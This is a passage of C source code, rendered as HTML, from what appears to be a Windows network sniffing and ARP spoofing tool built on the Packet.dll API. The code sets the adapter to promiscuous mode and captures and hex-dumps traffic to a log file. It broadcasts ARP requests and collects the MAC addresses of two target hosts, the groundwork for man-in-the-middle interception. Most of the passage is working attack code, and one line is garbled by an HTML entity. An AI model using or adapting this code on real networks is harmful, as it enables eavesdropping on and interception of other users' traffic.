<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sin.sin_addr.s_addr=ip-&gt;destip;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("%16s\n",inet_ntoa(sin.sin_addr));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; strcat(msg+23,inet_ntoa(sin.sin_addr));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fseek(fp,-2,1);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fwrite("\r\n\r\n\r\n",6,1,fp);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fwrite(msg,38,1,fp);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fwrite("\r\n",2,1,fp);</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ulLines=(hdr-&gt;bh_caplen+15)/16;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for(k=0;k&lt;ulLines;k++)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pLine=pChar;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("%08lx : ",pChar-base);</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ulen=tlen;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ulen=(ulen&gt;16) ? 16 : ulen;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; tlen-=ulen;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for(j=0;j&lt;ulen;j++)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("%02x ",*(BYTE *)pChar++);</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(ulen&lt;16)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("%*s",(16-ulen)*3," ");</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pChar=pLine;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for(j=0;j&lt;ulen;j++,pChar++)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("%c",isprint(*pChar)? *pChar : '.');<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fputc(isprint(*pChar) ? *pChar : '.',fp); <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("\n");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("\n");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fwrite("\r\n",2,1,fp);&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; continue;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else if((eth-&gt;eh_type==htons(ETH_ARP)) &amp;&amp; (arp-&gt;arp_opt==htons(ARP_REPLY)))&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sin.sin_addr.s_addr=arp-&gt;arp_spa;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(sin.sin_addr.s_addr==htonl(myip)) <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(mmac,eth-&gt;eh_src,6);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(!mm)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("\t");&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for(k=0;k&lt;5;k++)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("%.2x-",eth-&gt;eh_src[k]);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("%.2x\n",eth-&gt;eh_src[5]);</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; switch(op)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case 1:<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("\n[MAC LIST:]");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case 2:<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("\n[Sniffing Host:]");&nbsp;&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; default:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mm=TRUE;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if((op==1) || (op==2))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("\n[IP:] %.16s&nbsp; [MAC:] ",inet_ntoa(sin.sin_addr));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for(k=0;k&lt;5;k++)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("%.2x-",eth-&gt;eh_src[k]);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("%.2x",eth-&gt;eh_src[5]);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else if(((op==3) || (op==4)) &amp;&amp; (!fm || !sm))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(arp-&gt;arp_spa==htonl(firstip))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(fmac,eth-&gt;eh_src,6);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fm=TRUE;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(arp-&gt;arp_spa==htonl(secondip))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(smac,eth-&gt;eh_src,6);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sm=TRUE;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp; return ;<br>}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>DWORD WINAPI sniff(LPVOID no)<br>{<br>&nbsp;&nbsp;&nbsp; int&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; option=*(int *)no;<br>&nbsp;&nbsp;&nbsp; char&nbsp;&nbsp;&nbsp;&nbsp; recvbuf[1024*250];</p>
<p>&nbsp;&nbsp;&nbsp; if(PacketSetHwFilter(lpadapter,NDIS_PACKET_TYPE_PROMISCUOUS)==FALSE)<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("Warning: Unable to set the adapter to promiscuous mode\n");<br>&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; if(PacketSetBuff(lpadapter,500*1024)==FALSE)<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("PacketSetBuff Error: %d\n",GetLastError());<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;<br>&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; if(PacketSetReadTimeout(lpadapter,1)==FALSE)<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("Warning: Unable to set the timeout\n");<br>&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; if((lppacketr=PacketAllocatePacket())==FALSE)<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("PacketAllocatePacket receive Error: %d\n",GetLastError());<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;<br>&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; PacketInitPacket(lppacketr,(char *)recvbuf,sizeof(recvbuf));</p>
<p>&nbsp;&nbsp;&nbsp; while(!kbhit())<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(PacketReceivePacket(lpadapter,lppacketr,TRUE)==FALSE)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(GetLastError()==6)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return 0;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("PacketReceivePacket Error: %d\n",GetLastError());<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; getdata(lppacketr,option);<br>&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp; return 0;<br>}</p>
<p>DWORD WINAPI sendMASR(LPVOID no)<br>{<br>&nbsp;&nbsp;&nbsp; int&nbsp;&nbsp;&nbsp; fun=*(int *)no;<br>&nbsp;&nbsp;&nbsp; int&nbsp;&nbsp;&nbsp; k,stimes;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; char&nbsp;&nbsp; sendbuf[1024];<br>&nbsp;&nbsp;&nbsp; ETHDR&nbsp; eth;<br>&nbsp;&nbsp;&nbsp; ARPHDR arp;</p>
<p>&nbsp;&nbsp;&nbsp; if(fun&lt;1 || fun&gt;4)<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;<br>&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp; else<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for(k=0;k&lt;6;k++)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; eth.eh_dst[k]=0xff;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; arp.arp_tha[k]=0x00;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(fun==2)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; eth.eh_dst[5]=0xfe;<br>&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; memcpy(eth.eh_src,mmac,6);<br>&nbsp;&nbsp;&nbsp; eth.eh_type=htons(ETH_ARP);</p>
<p>&nbsp;&nbsp;&nbsp; arp.arp_hdr=htons(ARP_HARDWARE);<br>&nbsp;&nbsp;&nbsp; arp.arp_pro=htons(ETH_IP);<br>&nbsp;&nbsp;&nbsp; arp.arp_hln=6;<br>&nbsp;&nbsp;&nbsp; arp.arp_pln=4;<br>&nbsp;&nbsp;&nbsp; arp.arp_opt=htons(ARP_REQUEST);<br>&nbsp;&nbsp;&nbsp; arp.arp_spa=htonl(myip);<br>&nbsp;&nbsp;&nbsp; memcpy(arp.arp_sha,mmac,6);</p>
<p>&nbsp;&nbsp;&nbsp; if(fun==1 || fun==2)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; stimes=1;<br>&nbsp;&nbsp;&nbsp; else if(fun==3 || fun==4)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; stimes=2;</p>
<p>&nbsp;&nbsp;&nbsp; for(k=0;k&lt;stimes;k++)<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(stimes==1)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; arp.arp_tpa=htonl(firstip+(num++));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else if(stimes==2)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; switch(k)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case 0:<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; arp.arp_tpa=htonl(firstip);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case 1:<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; arp.arp_tpa=htonl(secondip);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; default:<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memset(sendbuf,0,sizeof(sendbuf));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(sendbuf,&amp;eth;,sizeof(eth));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(sendbuf+sizeof(eth),&amp;arp,sizeof(arp));</p>
